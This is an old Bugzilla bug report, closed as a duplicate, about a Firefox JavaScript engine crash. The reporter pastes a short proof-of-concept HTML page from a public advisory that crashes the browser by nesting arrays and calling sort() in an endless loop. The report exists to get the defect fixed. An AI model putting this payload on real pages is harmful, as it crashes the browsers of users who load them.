Closed Bug 272296 Opened 21 years ago Closed 21 years ago

nested array sort() loop Stack overflow exception = crash and burn

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(Core :: JavaScript Engine, defect)

x86
Windows XP
defect
Not set
critical

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VERIFIED DUPLICATE of bug 271716

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(Reporter: bugzilla, Unassigned)

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(Keywords: crash)

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from: http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html and http://www.securityfocus.com/archive/1/382262 <HTML> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> </HTML>
Severity: normal → critical
Summary: nested array sort() loop Stack overflow exceptio → nested array sort() loop Stack overflow exception = crash and burn
This will CRASH your browser!
Stop filing dups, please -- check first with bugzilla, it can help you find 'em. Without more data about stack signature, I'm going to dup against the likeliest target, bug 271716. /be *** This bug has been marked as a duplicate of 271716 ***
Status: NEW → RESOLVED
Closed: 21 years ago
Resolution: --- → DUPLICATE
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Status: RESOLVED → VERIFIED
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